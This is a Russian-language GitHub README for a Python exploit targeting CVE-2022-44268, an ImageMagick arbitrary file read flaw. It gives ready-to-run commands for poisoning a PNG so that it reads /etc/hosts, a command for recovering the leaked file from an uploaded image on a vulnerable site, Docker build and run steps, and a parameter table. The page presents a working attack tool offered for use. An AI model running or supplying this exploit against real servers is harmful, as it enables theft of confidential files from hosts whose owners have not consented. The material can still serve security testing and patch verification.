mouftan/cve-2022-44268Python-эксплойт для CVE-2022-44268, уязвимости произвольного чтения файлов в ImageMagick. Отравляет PNG-изображения для чтения конфиденциальных файлов с уязвимых хостов через веб-загрузку.
CVE-2022-44268 ImageMagick: произвольное чтение файлов
Отравляем изображение ☣️
python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png
Upload poisoned PNG image.
Проверяем, успешен ли эксплойт 🗡
python3 CVE-2022-44268.py --url http://vulnerable-imagemagick.com/uploads/vulnerable.png
Сборка
docker build -t cve-2022-44268 .
Запуск
docker run -v $(pwd)/data:/data -ti cve-2022-44268 --image /data/random.png --file-to-read "/etc/hosts" --output /data/poisoned.png
| Параметр | Описание | Тип |
|---|---|---|
| --url | URL загруженного PNG-изображения | Строка |
| --image | Входной PNG-файл | Файл |
| --output | Выходной PNG-файл | Файл |
| --file-to-read | Файл для чтения с уязвимого хоста | Строка |